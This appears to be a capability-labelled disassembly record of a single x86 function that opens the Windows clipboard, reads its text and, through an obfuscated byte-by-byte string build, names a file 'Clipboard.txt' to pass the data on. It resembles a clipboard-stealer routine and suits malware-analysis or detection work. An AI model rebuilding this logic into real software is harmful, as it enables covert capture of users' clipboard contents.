Function at 0x434300
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
call fcn.0040a220
sub esp, 0x14
mov esi, esp
push eax
mov edi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
xor ebx, ebx
test al, 1
jne 0x434339
jmp 0x434640
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x434375
jmp 0x434638
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], eax
call fcn.00409b80
add esp, 4
mov dword [ebp - 0x1c], eax
cmp eax, 0
setne al
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
test al, 1
jne 0x4343ac
jmp 0x43462a
mov al, byte [edi]
mov byte [ebp - 0x14], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x43
xor eax, 0xf6
mov byte [esi], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x6c
xor eax, 0xf7
mov byte [esi + 1], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x69
xor eax, 0xf8
mov byte [esi + 2], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x70
xor eax, 0xf9
mov byte [esi + 3], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x62
xor eax, 0xfa
mov byte [esi + 4], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x6f
xor eax, 0xfb
mov byte [esi + 5], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x61
xor eax, 0xfc
mov byte [esi + 6], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x72
xor eax, 0xfd
mov byte [esi + 7], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x64
xor eax, 0xfe
mov byte [esi + 8], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x2e
xor eax, 0xff
mov byte [esi + 9], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x74
xor eax, 0x100
mov byte [esi + 0xa], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x78
xor eax, 0x101
mov byte [esi + 0xb], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
add eax, 0x74
xor eax, 0x102
mov byte [esi + 0xc], al
sub esp, 8
mov dword [esp], 0x514facf6
mov dword [esp + 4], 5
call fcn.00419ee0
add esp, 8
xor eax, 0x103
mov byte [esi + 0xd], al
mov eax, 0xe
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0x12
jne 0x4345b8
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x12
jae 0x4345fe
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004349f0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x4345cb
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
call fcn.0040a440
mov bl, al
mov ecx, dword [ebp - 0x18]
jmp 0x434621
and bl, 1
jmp 0x434626
jmp 0x434628
jmp 0x43462a
sub esp, 4
mov dword [esp], ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x434638
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x434640
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret